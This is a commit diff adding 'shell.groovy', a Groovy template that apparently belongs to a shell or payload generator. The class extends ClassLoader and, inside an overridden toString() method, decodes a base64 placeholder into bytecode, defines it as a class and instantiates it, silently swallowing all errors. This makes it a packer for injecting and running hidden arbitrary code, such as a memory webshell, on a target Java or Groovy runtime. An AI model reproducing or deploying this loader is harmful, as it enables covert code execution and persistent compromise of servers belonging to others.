feat: add groovy definer packer

generator/src/main/resources/shell.groovy

@@ -0,0 +1,36 @@
+class ClassDefiner extends ClassLoader {
+    public ClassDefiner() {
+        super(Thread.currentThread().getContextClassLoader());
+    }
+
+    public byte[] decodeBase64(String bytecodeBase64) {
+        java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
+        return decoder.decode(bytecodeBase64);
+    }
+
+    public Class<?> defineClass(byte[] code) {
+        return defineClass(null, code, 0, code.length);
+    }
+
+    @Override
+    public String toString() {
+        String className = "{{className}}";
+        String base64Str = "{{base64Str}}";
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            classLoader.loadClass(className).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] bytecode = decodeBase64(base64Str);
+                Class<?> clazz = defineClass(bytecode);
+                clazz.newInstance();
+            } catch (Exception ignored) {
+            }
+        }
+        return className;
+    }
+
+    static void main(String[] args) {
+        new ClassDefiner().toString();
+    }
+}